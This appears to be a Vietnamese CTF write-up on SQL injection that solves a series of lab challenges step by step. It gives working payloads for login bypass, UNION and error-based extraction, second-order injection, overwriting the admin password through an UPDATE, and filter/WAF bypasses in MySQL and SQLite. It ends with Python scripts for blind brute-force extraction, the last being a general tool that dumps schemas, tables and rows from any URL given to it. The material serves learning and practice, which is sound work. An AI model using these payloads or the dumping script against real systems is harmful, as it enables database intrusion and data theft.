---
# System prepended metadata

title: Tổng quan về SQL Injection

---


# Chall
## Chall sqli-playground
![image](https://hackmd.io/_uploads/r1jbbnKUbl.png)
Các chall sử dụng MySQL db
### Level 1
![image](https://hackmd.io/_uploads/BJWTZnFIWg.png)
chall sử dụng plaintext.db :
```sql
INSERT INTO `users` (`id`, `username`, `password`) VALUES (11, 'admin', HEX(RANDOM_BYTES(8)));
```
em inject `admin'` để đóng chuỗi username và `-- -` để comment phần còn lại.
Mục đính là bỏ qua điều kiện password.
query sẽ thành 
```sql
SELECT username FROM users WHERE username='admin'-- -' AND password='$password'
```
query trả về "admin" và kiểm tra điều kiện đúng
### Level 2
![image](https://hackmd.io/_uploads/rkYN43KI-l.png)
Tương tự level 1 nhưng dùng `\"` thay vì `'`
`\` dùng để escape kí tự, `\"` giúp php hiểu `"` là 1 kí tự trong chuỗi không phải dấu hiệu để kết thúc query
query khi xuống db sẽ thành 
tương tự logic bài trên, em inject `admin"` để đóng chuỗi username và `-- - `để comment phần còn lại
sau khi PHP xử lí chuỗi `$sql` sẽ thành
```sql
SELECT username FROM users WHERE username="admin"-- -" AND password="any"
```
query trả về "admin" và kiểm tra điều kiện đúng
### Level 3
![image](https://hackmd.io/_uploads/Hk3YK2KLbe.png)
chall sử dụng hashed.db:
```sql
INSERT INTO `users` (`id`, `username`, `password`) VALUES (11, 'admin', '13442cabe383b86d1e1d2ce653845349');
```
query sử dụng hàm 
LOWER() để chuyển kí tự in hoa về kí tự thường
MD5() là 1 hàm băm(hash) để chuyển chuỗi thành giá trị 128-bit(32 ký tự)
và chuỗi 128bit không thể reverse về chuỗi gốc 
logic expoit vẫn như bài trước 
em inject `admin")` để đóng chuỗi username và `-- -` để comment phần còn lại
sau khi PHP xử lí chuỗi, `$sql` sẽ thành:
```sql
SELECT username FROM users WHERE username=LOWER("admin")-- - AND password=MD5("$password")
```
query trả về "admin" và kiểm tra điều kiện đúng
### Level 4
![image](https://hackmd.io/_uploads/ry7ph3YIbg.png)
Tương tự Level 3 nhưng filter `"`, do đó không thể đóng chuỗi username và bỏ qua phần password như các bài trước
khi không thể inject `"` để đóng  chuỗi, em nghĩ đến phương án escape dấu `"` khi db parse bằng cách inject `\` 
khi php xử lí chuỗi 
khi inject `\` vào username, $sql sẽ thành:
```sql
SELECT username FROM users WHERE username=LOWER("/") AND password=MD5("password")
```
database parse query, thấy `\"` và coi `"` như 1 kí tự trong chuỗi
khi ấy dấu " đầu tiên phần password sẽ là dấu đóng chuỗi username 

em inject `)` vào password để đóng hàm `LOWER()`

khi đó bên trong hàm LOWER sẽ là `/") AND password=MD5(`

em inject `\` vào username và `) OR username='admin'-- ` vào password
$sql sẽ thành:
```sql
SELECT username FROM users WHERE username=LOWER("/") AND password=MD5(") OR username='admin'-- ")
```
trả về 1 row `'admin'` vì username `LOWER("/") AND password=MD5(")` không tồn tại. Do đó điều kiện kiểm tra đúng
### Level 5
![image](https://hackmd.io/_uploads/r1aeXJ9LZx.png)
logic của bài này là kiểm tra hash(md5) password nhập vào với password trả về của câu truy vấn 
```sql
SELECT username, password FROM users WHERE username='$username'
```
nếu đúng thì kiểm tra tiếp username trả về từ câu truy vấn có phải `'admin'` không

nếu `password` trả về từ database(hashed md5) thì chỉ khi nhập `password` là chuỗi gốc điều kiện mới đúng. Việc tìm ra chuỗi gốc gần như là không thể

Do đó, em có ý tưởng inject `username` để làm cho `query` trả về `username` là `'admin'` và `password` là `hash md5` của chuỗi em có thể kiểm soát được

ví dụ trả về `username` là `'admin'` và `password` là kết quả hashed của `'ash'`. Khi đấy em chỉ cần nhập `password` là `ash` là điều kiện trả về đúng

Để làm điều đó, em inject `username`: `a' UNION SELECT 'admin', md5('ash')-- 
`$sql sẽ trờ thành
```sql
SELECT username, password FROM users WHERE username='a' UNION SELECT 'admin', md5('ash')-- -'
```

username `a` không tồn tại nên query trả về `admin` và 32 kí tự hashed của ash
`password` chỉ cần nhập `ash` là điều kiện trả về đúng
### Level 6
![image](https://hackmd.io/_uploads/HyCjcy9I-x.png)
Chall sử dụng posts_db:
![image](https://hackmd.io/_uploads/r1VsokcIbx.png)
$message = nội dung của link content mà câu truy vấn trả về
![image](https://hackmd.io/_uploads/rktd2y5IZx.png)
Mục tiêu của chall: Extract database version
trong file html của chall có `echo $message`
vì lấy nội dung cửa link nên khó để extract version thông qua `union-based` 
em thấy khi lỗi sẽ lưu vào `$message` nên em nghĩ đến `error-based`
em sử dụng `AND UUID_TO_BIN(version())`
hàm `UUID_TO_BIN()` chuyển mã `UUID` thành dạng binary, `version()` trả về không phải mã `UUID` nên gây lỗi và in kết quả version
![image](https://hackmd.io/_uploads/S1Qv1g9L-g.png)
### Level 7
![image](https://hackmd.io/_uploads/Hyv1xl5Lbg.png)
![image](https://hackmd.io/_uploads/HJdOeeqLZe.png)
Level 7 có chức năng đăng kí đăng nhập sử dụng `prepared statement`,chỉ gán input vào query đã được compile nên không thể inject khai thác
Khi đăng nhập thành công sẽ chuyển sang `profile.php`
![image](https://hackmd.io/_uploads/BJmdQg9U-g.png)
trong profile lại lấy `username` đã login gắn vào `query`

như thế ta chỉ việc đăng kí tài khoản với `username` là payload muốn inject
sau đó sẽ lưu nguyên payload đó vào database

thay vì gửi payload trực tiếp để khai thác như bình thường ta thêm bước đăng kí với `username` là payload, đăng nhập với payload và khai thác 

`a' UNION SELECT password FROM users WHERE id=21-- `
`username` a không tồn tại nên cả câu query trả về 1 row là password chứa FLAG
### Level 8
![image](https://hackmd.io/_uploads/HJ3lcg9IWl.png)
tương tự bài trước nhưng khi login thành công sẽ chuyển sang update.php
![image](https://hackmd.io/_uploads/r1rZie9IZe.png)
trong `update.php`, kiểm tra username đã login có phải `"admin"` không
và có chức năng update email có thể inject

Mục tiêu của bài này là phải đăng nhập với `username` là `admin`, và password là chuỗi gốc của `hashed password` đã lưu vào database

em inject vào `email` trong chức năng `update` để thay đổi `password` admin

đầu tiên em đăng kí với tài khoản hợp lệ và đăng nhập
ở `update.php` em inject `a', password=md5('ash') WHERE username='admin'-- -`

`$sql` sẽ thành 
```sql
UPDATE users SET email='a', password=md5('ash') WHERE username='admin'-- -' WHERE username='username'
```
`password` admin đã được đổi thành md5('ash')
quay lại `login` với `password` là `ash` là done
## sql-bypass-waf
![image](https://hackmd.io/_uploads/SkbzMEqIbg.png)
![image](https://hackmd.io/_uploads/BJ0DPE5IWg.png)

chall này nối chuỗi input trực tiếp vào query nên có sqli
tuy nhiên có filter
1.các hàm sql
```php
['union', 'select', 'from', 'and', 'or']
```
2.filter từ nhạy cảm 'admin'
3.filter `' ', '*', '/'` để tránh dấu cách và `/**/` (tương tự chức năng dấu cách)

Để lấy được flag em cần inject union để trích xuất thêm dữ liệu
Để inject cần giải quyết bypass 3 vấn đề trên
1. filter nhưng không `lower()` input => dùng `SELECT, UNION` được
2. mysql có tự động decode 1 số kiểu dữ liệu như hex, bit,.. => có thể bypass `'admin'` bằng mã hex của nó(thêm 0x ở đầu): `0x61646d696e`
 hoặc là dùng hàm `char()` sau đó nối chuỗi

3.có 1 số cách bypass dấu cách (cùng chức năng với dấu cách) khác như:

    sử dụng ( ) ví dụ SELECT(username)FROM()....
    %09: Tab (Ngang)
    %0a: New Line (Xuống dòng)
    %0b: Vertical Tab (Tab dọc)
    %0c: Form Feed (Chuyển trang)
    %0d: Carriage Return (Về đầu dòng)
    %a0: Non-breaking space (Khoảng trắng không ngắt
Khi bypass dược em còn phải làm sao cho flag trả về ở vị trí thứ 2 vì trong code result=result[1]) và result = cur.fetchone() trả về tuple (gần tương đương với array)
khi đó 
```sql
a'%0aUNION%0aSELECT%0aidx,%0aupw,%0auid%0aFROM%0auser%0aWHERE%0auid=0x61646d696e;--%0a-
```
tương đương với
```sql
' UNION SELECT adix, upw, uid FROM user WHERE uid='admin'-- -
```
`result=result[1]` trả về upw của uid admin (tức là FLAG)
## sql-bypass-waf-advanced
![image](https://hackmd.io/_uploads/rkkN-BqLZx.png)
bài này tương tự bài trước nhưng filter thêm 1 số cách bypass dấu cách khác
và filter 
quan trọng là bài này `lower()` input nên không thể dùng SELET,UNION,...
trong mysql ta có thể sử dụng `#` để comment thay vì dùng `-- `
so sánh các cách bypass dấu cách với filter thêm 
![image](https://hackmd.io/_uploads/SyTbGS5LZg.png)
=> vẫn xót %a0 
vì `lower()` input nên không thể `union-based` được vì nếu `bypass` bằng cách inject encode và db tự đọng decode thì sẽ được coi là string, không phải KEYWORD
ứng dụng có in ra vị dữ liêu trả về `result=result[1]` ở đây trả về `uid` 
em nghĩ đến `blind-based` 
Kiểm tra điều kiện, nếu đúng thì uid là `admin` (in `admin` ra giao diện), sai thì `uid` là `uid` không tồn tại (không in gì cả)
em sẽ kiểm tra từng kí tự `upw` của `admin` (tức flag)
em có viết script để brute-force cho nhanh
```python
import requests;


session = requests.Session();
url='http://localhost:5001/'

a= "";
for n in range(1,20):
    for i in '{}*+,-./0123456789?@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz':
        payloads=f"abcd'||uid=IF(BINARY(SUBSTRING(upw,{n},1))='{i}',0x61646d696e,'abde');#"
        result=session.get(url,params={'uid':payloads}).text
        if "admin" in result:
            a+=i;
print(a);
```
em bypass OR = `||` , sử dụng BINARY 'a'='A' để phân biệt chữ hoa và thường
Ví dụ 
`sql
abcd'||uid=IF(BINARY(SUBSTRING(upw,1,1))='D',0x61646d696e,'abde');#
`

Toán tử `=` trong `WHERE` sẽ kiểm tra điều kiện , nếu `true` thì trả về 
trong bài này sẽ `match` khi kí tự kiểm tra đúng và `uid` đúng hoặc ngược lại

Tức như ví dụ sẽ match hàng khi cột upw trong hàng đó chữ đầu là 'D' và uid hàng đó là `admin` hoặc cột `upw` trong hàng không phải `'D'` và `uid` là `abde`

do đó nếu kiểm tra kí tự `admin` đúng => trả về hàng `admin` => in ra giao diện `uid` `admin`=> nếu `'admin'` trong `respone` => kí tự đúng

![image](https://hackmd.io/_uploads/ByZK2rc8-g.png)
## baby-sqlite
![image](https://hackmd.io/_uploads/HJgFCHcIWl.png)
![image](https://hackmd.io/_uploads/rJoQkUqI-x.png)
![image](https://hackmd.io/_uploads/H18K1L5IWl.png)


câu truy vấn trả về admin thì in ra flag em cần `UNION based` để câu truy vấn trả về `admin`
trong `sqlite3` không tự `decode` chuỗi `hex` mà bắt đầu bằng `0x` mà bằng `x'` nhưng ' bị filter, nên em bypass admin bằng char() từng kí tự xong nối chuỗi bằng `||`: `(char(97)||char(100)||char(109)||char(105)||char(110)` trả về 'admin'

chắc chắn cần dùng `SELECT` nhưng bị filter (có `lower()`) nên cần tìm hàm khác có chức năng tương tự. trong sqlite có thể sử dụng `VALUES()` thay cho `SELECT `

`VALUES('admin')` tương đương `SELECT 'admin'`
filter thiếu `/**/` bypass dấu cách

 ```php
 query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
 ```
vì filter `'` nên ban đầu em inject `\` vào `uid` để escape, dấu `'` đầu tiên ở `upw` sẽ đóng chuỗi uid , rồi inject `union` vào upw. Nhưng không được, sau tìm hiểu em mới biết `\` trong `sqlite` không có chức năng escape mà sử dụng `'`

Sau đó em inject vào `level` vì không có `'` bao bọc
dù `level` là kiểu `int` nhưng khi inject `1 UNION...` database thấy 1 và coi đoạn sau là phần sau như 1 phần của câu lệnh

```sqlite
1/**/UNION/**/VALUES(char(97)||char(100)||char(109)||char(105)||char(110))
```
`query` tương đương với
```sqlite
SELECT uid FROM users WHERE uid='any' and upw='any' and level=1 UNION VALUES('admin');
```
`uid` và `upw` không tồn tại nên query trả về `admin`
# Script
script ví dụ để dump thông tin database trong bài level5/sqli-playground
```python
import requests;
import time;
import argparse;
session = requests.Session();
# url = "http://localhost:1337/basic/level5.php"
def find_length(query_1):
    length_bin = "";
    for i in range(1, 9):
        payload_ = f"admin' AND SUBSTRING(LPAD(BIN(({query_1})),8,'0'),{i},1)='1'-- -";
        data = {'username': payload_, 'password': 'a'};
        response = session.post(url, data=data, timeout=10);
        if "Wrong username or password" in response.text:
            length_bin += '1';
        else:
            length_bin += '0';
        # time.sleep(0.05);
    length = int(length_bin, 2);
    return length;

def bit_by_bit_sqli(query, max_length):
    extracted = ""
    for i in range(1, max_length + 1):
        char_bin = ""
        for bit in range(1, 9):
            payload = f"admin' AND SUBSTRING(LPAD(BIN(ASCII(SUBSTRING(({query}),{i},1))),8,'0'),{bit},1)='1'-- -"
            data = {'username': payload, 'password': 'a'}
            response = session.post(url, data=data, timeout=10)
            if "Wrong username or password" in response.text:
                char_bin += "1"
            else:
                char_bin += "0"
            # time.sleep(0.05)
        char = chr(int(char_bin, 2))
        if char == '\x00':
            break
        extracted += char
    return extracted
parser = argparse.ArgumentParser(description="dump")
parser.add_argument("--u", required=True, help="Target URL") 
parser.add_argument("--p1", action="store_true", help="Vulnerable parameter") 
parser.add_argument("--p2", action="store_true", help="Vulnerable parameter")
parser.add_argument("--p3", action="store_true", help="Vulnerable parameter")
args = parser.parse_args()
url = args.u
if __name__ == "__main__":
    if args.p1:#dump tên database
        for i in range(0,20):
            query_to_length1 = f"LENGTH((SELECT schema_name FROM information_schema.schemata LIMIT {i},1))"
            length = find_length(query_to_length1)
            print(f"Length of result: {length}")
            if length == 0:
                break
            query_to_extract1 = f"SELECT schema_name FROM information_schema.schemata LIMIT {i},1"
            db_name = bit_by_bit_sqli(query_to_extract1, length)
            print(f"Extracted result: {db_name}")
    if args.p2:#dump tên bảng trong database hashed_db
        for i in range(0,20):
            query_to_length = f"LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema= 'hashed_db' LIMIT {i},1))"
            length = find_length(query_to_length)
            print(f"Length of result: {length}")
            if length == 0:
                break
            query_to_extract = f"SELECT table_name FROM information_schema.tables WHERE table_schema= 'hashed_db' LIMIT {i},1"
            table_name = bit_by_bit_sqli(query_to_extract, length)
            print(f"Extracted result: {table_name}")
    if args.p3:#dump dữ liệu trong bảng users của database hashed_db
        target_table = "users" # Thay doi ten bang can dump tai day
        for i in range(0,20):
            query_to_length2 = f"LENGTH((SELECT column_name FROM information_schema.columns WHERE table_name= '{target_table}' AND table_schema='hashed_db' LIMIT {i},1))"
            length = find_length(query_to_length2)
            if length == 0:
                break
            query_to_extract2 = f"SELECT column_name FROM information_schema.columns WHERE table_name= '{target_table}' AND table_schema='hashed_db' LIMIT {i},1"
            column_name = bit_by_bit_sqli(query_to_extract2, length)
            print(f"Extracted Column Name [{i}]: {column_name}")
            for n in range(0,20):
                query_to_length3 = f"LENGTH((SELECT {column_name} FROM hashed_db.{target_table} LIMIT {n},1))"
                data_length = find_length(query_to_length3)
                if data_length == 0:
                    break
                query_to_extract3 = f"SELECT {column_name} FROM hashed_db.{target_table} LIMIT {n},1"
                data_value = bit_by_bit_sqli(query_to_extract3, data_length)
                print(f"  Row {n} {column_name}: {data_value}")



```
![image](https://hackmd.io/_uploads/r14VaU5UWg.png)
































